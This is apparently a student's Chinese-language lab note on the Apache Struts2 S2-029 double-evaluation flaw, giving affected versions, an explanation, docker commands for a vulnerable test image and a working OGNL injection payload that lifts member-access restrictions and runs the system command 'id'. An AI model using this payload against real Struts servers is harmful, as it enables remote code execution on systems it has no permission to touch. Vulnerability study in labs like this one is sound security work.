Struts –s2-29
此文仅供大家交流学习,严禁非法使用
一、参考网址:
http://blog.topsec.com.cn/ad_lab/struts2%E6%BC%8F%E6%B4%9Es2-029%E5%88%86%E6%9E%90/
二、 影响版本:
Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)
三、 漏洞介绍:
Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估。
漏洞理解:
代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。。
四、 环境搭建:
参考上面网址在linux搭建docker环境,感觉该作者精心做的可以远程代码执行的环境
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-029
- 启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-029
五、 POC:
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
六、 漏洞利用:
七、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子